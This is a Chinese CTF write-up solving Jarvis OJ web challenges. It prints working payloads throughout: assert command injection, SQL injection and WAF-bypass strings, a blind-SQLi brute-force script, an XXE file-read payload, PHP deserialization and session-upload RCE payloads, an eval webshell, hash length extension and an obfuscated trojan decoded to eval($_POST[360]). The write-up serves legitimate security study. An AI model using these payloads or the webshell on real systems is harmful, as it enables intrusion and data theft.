Contents
听说这个平台的题目质量比较高,所以就写了这篇wp。
babyphp
根据提示PHP GIT Bootstrap
想到git泄露,然后把源码down下来审计。
发现flag.php在templates目录中。
关键代码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<?php
require_once $file;
?>
直接page=/templates/flag.php显示文件不存在,因为flag被注释掉了。
看到assert,应该可以命令注入
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
可以构造
assert("strpos('templates/'.system("cat templates/flag.php").'.php', '..') === false")
查看页面源代码
61dctf{8e_careful_when_us1ng_ass4rt}
inject
Hint1:先找到源码再说吧
根据提示找源码,发现不是git泄露,扫一波目录发现index.php~
index.php源码
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
我们发现了反引号,需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符,否则出错。
* 在标准 SQL 中,字符串使用的是单引号。
* 如果字符串本身也包括单引号,则使用两个单引号(注意,不是双引号,字符串中的双引号不需要另外转义)。
* MySQL对 SQL 的扩展,允许使用单引号和双引号两种。
我们发现在使用反引号时,只要前表table1存在,即使table2不存在,该语句也是能执行的
desc `table1` `table2`
单引号却不可以执行。
mysql> desc `users`;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| password | varchar(20) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
mysql> desc `ss`;
ERROR 1146 (42S02): Table 'security.ss' doesn't exist
mysql> desc `users` `ss`;
Empty set (0.00 sec)
mysql> desc 'users' 'ss';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users' 'ss'' at line 1
且后面的表名是前面表名的别名
mysql> select * from `users` `aaa` where aaa.id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | dd | Dumb |
+----+----------+----------+
1 row in set (0.09 sec)
所以我们可以构造
desc `flag` `union select 1 limit 1,1`
相当于
mysql> select 'flag{xxx}' from users `` union select 3 ;
+-----------+
| flag{xxx} |
+-----------+
| flag{xxx} |
| 3 |
+-----------+
2 rows in set (0.00 sec)
mysql> select 'flag{xxx}' from users `` union select 3 limit 1,1;
+-----------+
| flag{xxx} |
+-----------+
| 3 |
+-----------+
1 row in set (0.00 sec)
后面的注入过程不用再写了,
?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1,1
flag
flag{luckyGame~}
admin
网页什么也没有,抓包也没发现什么。扫波目录发现robots.txt,刚才忘了看/robots.txt
Disallow: /admin_s3cr3t.php
访问显示flag{hello guest} ,明显是假的flag。
抓包发现admin=0,改成1得到flag。
LOGIN
给了一个密码框,抓包在响应包里看到提示
select * from `admin` where password='".md5($pass,true)."'
md5($pass,true)
,md5第二个参数为输出格式,默认为false,
* TRUE - 原始 16 字符二进制格式
* FALSE - 默认。32 字符十六进制数
这里第二个参数为True,MD5之后是hex格式,转化到字符串时如果出现'or'xxxx
的形式,就会导致注入
select * from `admin` where password=''or'xxxx';
例如字符串ffifdyop
flag
PCTF{R4w_md5_is_d4ng3rous}
神盾局的秘密
查看源码发现任意文件读取,读取index.php发现源码
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
再读一下shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
提示flag在pctf.php
,明显的利用反序列化读取文件。
构造反序列化payload
<?php
class Shield{
public $file;
function __construct($filename = '') {
$this -> file = "pctf.php";
}
}
$a=new Shield();
echo serialize($a)
?>
?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
flag
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
PORT51
使用端口51访问,可能是在内网的原因本地不行,需要在vps上执行。
curl --local-port 51 http://web.jarvisoj.com:32770/
flag
PCTF{M45t3r_oF_CuRl}
IN A Mess
index.phps
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
没注意开始对id值的判断,id不能为0,卡了好久。下面的绕过就很简单了,烂大街的东西。
eregi这里可以利用通配符.
,也可以利用00截断绕过。
给了个地址/^HT2mCpcvOLf
id=1'
报错出sql语句SELECT * FROM content WHERE id=1'
,waf过滤了union,fuzz发现#,union,select,from
都被替换成了空格,但是可以双写绕过。
waf掉了空格,order by,group by,union select
空格可以用/*1*/
绕过,union select
也可以用注释绕过。
index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,3
表名content
index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,table_name/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()
字段名
index.php?id=2/*1*/uniunionon/*1*/selselectect/*2*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74
flag
PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
api调用
请设法获得目标机器/home/ctf/flag.txt中的flag值。
源码
<script>
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>
这里利用ajax发送json数据,Content-Type:application/json
。
更改Content-Type: application/xml
。发送xml格式数据,引用外部实体读取文件。
payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<note>&file;</note>
flag
CTF{XxE_15_n0T_S7range_Enough}
Simple Injection
布尔盲注,什么都没过滤。
注库名的脚本
# -*- coding:utf8 -*-
import requests
import string
str1 = '1234567890'+string.ascii_letters+string.punctuation
flag = ''
select = 'select/**/database()'
url="http://web.jarvisoj.com:32787/login.php"
for j in range(1,66):
for i in str1:
paylaod="admin'/**/and/**/(if(substr(({}),{},1)='{}',1,0))/**/and/**/'1".format(select, j, i)
#print(paylaod)
data={
'username': paylaod,
'password': 'admin'
}
r=requests.post(url,data=data)
if '密码错误' in r.text:
flag+=i
print(flag)
break
Easy Gallery
URL明显存在文件包含,结合提示应该是文件包含加文件上传getshell。
尝试
http://web.jarvisoj.com:32785/index.php?page=view
http://web.jarvisoj.com:32785/index.php?page=view.php%00
显示正常,说明存在00截断。接下来只要包含自己的图片马就可以了。
上传图片马,查询id,进行包含
被waf掉了。
网上找的payload
<script language="php">eval($_POST['Smi1e']);</script>
再次上传进行包含
flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}
flag在管理员手里
扫到index.php~打开发现乱码,根据头部信息发现是vim备份文件。
扔进linux里,后缀改为.swp,vim -r index.php.swp
即可恢复。
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
</body>
</html>
salt未知,校验内容和hash值可控,明显的哈希长度扩展攻击。
我伟爷爷讲的真详细
md5($salt+$校验内容)=$md5
,校验内容和md5已知,我们可以通过哈希长度扩展攻击对校验内容后面增加一些新的内容,然后能够计算出新的md5值。
原理:https://www.smi1e.top/?p=1我这篇文章讲的很详细
注意role在md5加密的时候被反转了一下。
输入的分别为:原hash值,校验内容,salt+校验内容总长度,想要添加的内容。
反转一下再用sublime把\x
全部替换为%
,我在这掉坑里了。
;"tseug":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00;"nimda":5:s
然后编码一下和新hash值一起提交就可以了。
flag
PCTF{H45h_ext3ndeR_i5_easy_to_us3}
PHPINFO
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
session.serialize_handler=""
定义session的默认序列化引擎,默认是php(5.5.4后改为php_serialize)这里为php5.6,所以默认为php_serialize。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
序列化时处理器为php_serialize,反序列化时为php,因此可以用|
注入伪造任意数据。
SESSION上传进度:http://php.net/manual/zh/session.upload-progress.php
官方文档内容
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得
前两天的HITCON2018正好用到了这个姿势,我也写了wp:https://www.smi1e.top/wp-admin/
在使用session_start()
时会自动加载session文件中的值,因为在这里在__destruct方法
中使用eval,所以只要在session文件中写入这个类的php序列化引擎对应的反序列化值,就能够执行代码。
查看phpinfo配置
session.upload_progress.enabled
是开启的。session.upload_progress.name为默认的PHP_SESSION_UPLOAD_PROGRESS
,所以我们可以post一个与其同名的变量,来使得我们上传的文件名或者变量PHP_SESSION_UPLOAD_PROGRESS
的值写入session。
上传页面
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
这里的各种调用系统命令的函数都被禁用了,只能用php自带函数来读取目录和文件内容。
构造序列化引擎为php的序列化字符串
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
var_dump($a);
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
转换
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
flag文件名:Here_1s_7he_fl4g_buT_You_Cannot_see.php
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
当然还可以把序列化的值写在PHP_SESSION_UPLOAD_PROGRESS的值里
flag
CTF{4d96e37f4be998c50aa586de4ada354a}
WEB?
脑洞题。线代渣的我感到绝望。
function(e)
{
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++)
{
for (var i = 0, a = 0; a < 25; a++)
i += t[a] * o[n][a];
if (i !== r[n]) return ! 1
}
return ! 0
矩阵乘法
别人的脚本
from numpy import *
import gmpy2
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,
344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
[11, 13, 32, 234, 236, 3, 72,
237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
...]
a_o=array(o)
a_r=array(r)
t = linalg.solve(o,r)
print t
for i in t:
print str(int(round(i))),
# QWB{R3ac7_1s_interesting}
图片上传漏洞
CVE-2016-3714 - ImageMagick 命令执行分析
影响版本ImageMagick 6.9.3-9以前的所有版本
Chopper
<!--<script>alert('admin ip is 103.27.76.153')</script>-->
ip也伪造不了
发现图片是通过proxy.php代理来访问图片的
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">
我们可以用这个去访问admin ip 然后让admin IP 访问/admin/目录
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
访问不了,不知道是不是被搅屎了。
在admin目录下扫到robots.txt
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
trojan.php.txt
<?php ${("#"^"|").("#"^"|")}=("!"^"`").("(
"^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}
(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").
("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S").
("_"^"o"). ("?"^"b"). ("]"^"t"));?>
上述代码保存为php页面运行一下,得到Warning:
Warning: assert() [function.assert]: Assertion "eval($_POST[360])"
密码为360